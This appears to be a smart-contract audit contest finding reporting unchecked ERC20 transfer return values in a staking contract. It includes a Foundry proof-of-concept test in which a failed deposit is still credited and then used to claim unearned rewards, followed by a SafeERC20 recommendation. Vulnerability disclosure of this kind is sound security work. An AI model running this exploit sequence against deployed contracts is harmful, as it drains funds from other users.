20,000 USDC
View results
Submission Details
Severity: high

Unchecked Token Transfers

Summary

In this project, no mechanism has been implemented to check whether the transfers have failed or not. Not all token contracts revert on failure; instead, they return false. A good example of such a token is ZRX.

POC

function testDepositBypass() public {
vm.startPrank(user1);
// Fake Deposit Fails
stakingContract.deposit(LEET_DEPOSIT);
assertEq(noRevertToken.balanceOf(address(user1)), INITIAL_DEPOSIT);
// Balance updated even after failure
uint256 balance_ = stakingContract.balances(user1);
assertEq(balance_, LEET_DEPOSIT);
// 0 Climable
uint256 climable_ = stakingContract.claimable(user1);
assertEq(climable_, 0);
// To update `claimable` perform transfer amount with value 1 to contract account and call `updateFor`
revertToken.transfer(address(stakingContract), 1);
stakingContract.updateFor(user1);
// Climable != 0
climable_ = stakingContract.claimable(user1);
assertTrue(climable_ != 0);
assertEq(revertToken.balanceOf(address(user1)), INITIAL_DEPOSIT - 1);
stakingContract.claim();
// Profits
assertTrue(revertToken.balanceOf(address(user1)) > INITIAL_DEPOSIT);
assertTrue(noRevertToken.balanceOf(address(user1)) == INITIAL_DEPOSIT);
vm.stopPrank();
}

Impact

In the event of a failure, the contract does not genuinely receive the tokens; instead, it updates the user's balances, leading to a loss of funds. Consequently, the user can potentially amplify the impact by claiming reward tokens for a fake deposit.

Tools Used

Foundry, Remix

Recommendations

Use SafeERC20, or ensure that the transfer/transferFrom return value is checked. Perform checks against all the instances.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.